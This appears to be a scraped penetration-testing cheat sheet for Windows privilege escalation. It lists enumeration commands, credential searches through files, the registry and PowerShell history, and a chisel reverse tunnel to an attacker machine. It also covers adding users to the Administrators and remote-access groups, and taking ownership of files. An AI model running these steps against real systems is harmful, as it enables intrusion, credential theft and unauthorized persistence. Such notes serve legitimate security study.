# Current user
whoami
whoami /user
whoami /groups
whoami /priv
whoami /all
echo %username%
# List users
net user
net users
net user USERNAME
Get-LocalUser
# List groups
net group
net localgroup
# List users in specific group
net localgroup "Remote Management Users"
# List user home directories
Get-ChildItem C:\Users -Force
# Network
ipconfig
ipconfig /all
route print
arp -A
Get-NetAdapter
# Firewall
netsh firewall show state
netsh firewall show config
netsh advfirewall show allprofiles
Copied!
After investigating the OS information, find the vulnerabilities of OS version.
Right-click on the Windows icon.
Click Run.
Type recentin the search form.
Using the Windows Management Instrumentation command-line (WMIC) mainly.
wmic service list
wmic service list | findstr "Backup"
# Get target process info
wmic process get processid,parentprocessid,executablepath | find "<process-id>"
# Get users SID
wmic useraccount get name,sid
# Launch the hidden executable hiding within ADS
wmic process call create $(Resolve-Path .\file.exe:streamname)
# Processes and services
sc query state=all
tasklist /svc
# Query the configuration info for a specified service
sc qc "Development Service"
Copied!
type c:\Users\<username>\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
Copied!
We might be able to find interesting information about users by checking histories of web browsers such as Chrome, Microsoft Edge, Internet Explorer, etc.
VSS coordinates the actions that are required to create a consistent a shadow copy (also known as a snapshot or a point-in-time copy) of the data that is to be backed up.
vssadmin
vssadmin list shadows
vssadmin list volumes
Copied!
# List all subkeys of a registry key
Get-ChildItem -Path HKCU:\ | Select-Object Name
# -Recurse: List recursively
Get-ChildItem -Path HKCU:\System -Recurse | Select-Object Name
# Search sensitive information in HKLM (HKEY_LOCAL_MACHINE)
# /f password: Specifies the keyword 'password' to search.
# /t REG_SZ: Specifies REG_SZ (string) type to search.
# /s: Specifies to query all subkeys and value names recursively.
reg query HKLM /f password /t REG_SZ /s
Copied!
# -a: All connections and ports
# -f: Display FQDN (Fully Qualified Domain Names)
# -o: Display the owning process ID associated with each connection
netstat -afo
Get-Process
# Exclude `svchost`
Get-Process | where {$_.ProcessName -notlike "svchost*"}
Copied!
# /s: Searches the current directory and all subdirectories.
# /i: Ignores the case of the characters.
findstr /si password *.txt *.xml *.ini
findstr /si password c:\Users\Administrator\*.txt
findstr /si cred *.txt *.xml *.ini
findstr /si cred c:\Users\Administrator\*.txt
# /p: Skips files with non-printable characters.
# /n: Prints the line number of each line that matches.
findstr /spin "password" *.*
findstr /spin "password" c:\Users\Administrator\*
# ListList files
# /a: Displays only the names of those directories and files.
dir /a \Users\Administrator\Desktop
# /s: Lists every oncurrece of the specified file name within the specified directory and all subdirectories.
dir /s *pass* == *cred* == *vnc* == *.config*
# /q: Displays the ownership information.
dir /q \Users\Administrator\Desktop
# Website folder
dir c:\inetpub\
# SQL server
dir c:\SQLServer\Logs
type c:\SQLServer\Logs\ERRORLOG.BAK
# Get contents of file
more .\example.txt
type .\example.txt
# Check Recycle.bin and SID Folder
dir -Force \'$Recycle.Bin'
# ManageEngine (this service has many vulnerabilities)
dir -Force \'Program Files (x86)'\ManageEngine\
Copied!
If we found the listening ports, we need to port forwarding to access the port in local machine.
For example, assume the port 8000 is listening. We can access to the target port 8000 by accessing to [http://localhost:8000](http://localhost:8000) in local by executing the following command.
# Remote (target) machine
chisel.exe client 10.0.0.1:9999 R:8000:127.0.0.1:8000
# Local (attacker) machine
chisel server --reverse -p 9999
Copied!
We can find all local users in Computer Management utility. To open, enter "computer management" in search form at the bottom of the windows screen.
In Computer Management, click "Local Users and Groups".
Click "Users".
Double-click each user to get details e.g. "Member Of".
Click "Groups".
Double-click each group.
Attempt to add new user in the group because we might be able to do that even if we are not an administrator.
Right-click on the file.
Select the Properties.
Click the Security tab.
Click “Advanced”.
In the Permissions tab, click the “Add”.
Click “Select a principal”.
Enter the username in the text field.
Click OK and Apply.
Also we can change permissions in CommandPrompt or PowerShell.
# Change user's password
net user USERNAME NEWPASSWORD
# Add new user
net user /add USERNAME PASSWORD
# Add user to group
net localgroup Administrators USERNAME /add
net localgroup "Remote Managment Users" USERNAME /add # For WinRM
net localgroup "Remote Desktop Users" USERNAME /add # For RDP
# Delete users from specific group
net localgroup "Remote Management Users" USERNAME /delete
Copied!
If we could change the permission, connect to the target via WinRM or RDP.
# Check if the current user belongs to the Administrators group.
net user USERNAME
# Move to the directory containing the desired file
cd \Users\Administrator\Desktop
# Enable an administrator to recover access to a file.
# /R: recursive operation
# /F: specify the filename
takeown /r /f *.*
# Modify dictionary access control lists on specified files
# /q: suppress success message
# /c: continue the operation despite any file errors
# /t: perform the operation on all specified files
# /grant: grant specified user access rights
icacls "example.txt" /q /c /t /grant Users:F
Copied!
If we’re Local Service or Network Service account, it maybe possible to grant all privileges to the account.
FullPower
# Confirm if the account has all privileges
whoami /priv
Copied!
Event Viewer
FullEventLogview
Task Schedular
Tools that offer technical resources and utilities to manage, diagnose, troubleshoot, and monitor a Microsoft Windows environment.
# Autoruns
# It shows what programs are configured to run during system bootup or login.
autoruns.exe
# Process Explorer
# A freeware task manager and system monitor.
procexp.exe
procexp64.exe
# Process Monitor
# It monitors and displays in real-time all file system activity.
procmon.exe
procmon64.exe
# Strings
# It is same as the Linux “strings” command.
strings.exe example.exe | findstr "sometext"
strings64.exe example.exe | findstr "sometext"
Copied!
References
We may be able to retrieve sensitive information in registry hives.
See also:
Reference:
Please refer to to check how to use Chisel for port forwarding.
If we cannot switch user due to such as reverse shell sessions, we can spawn another shell as another user by using .
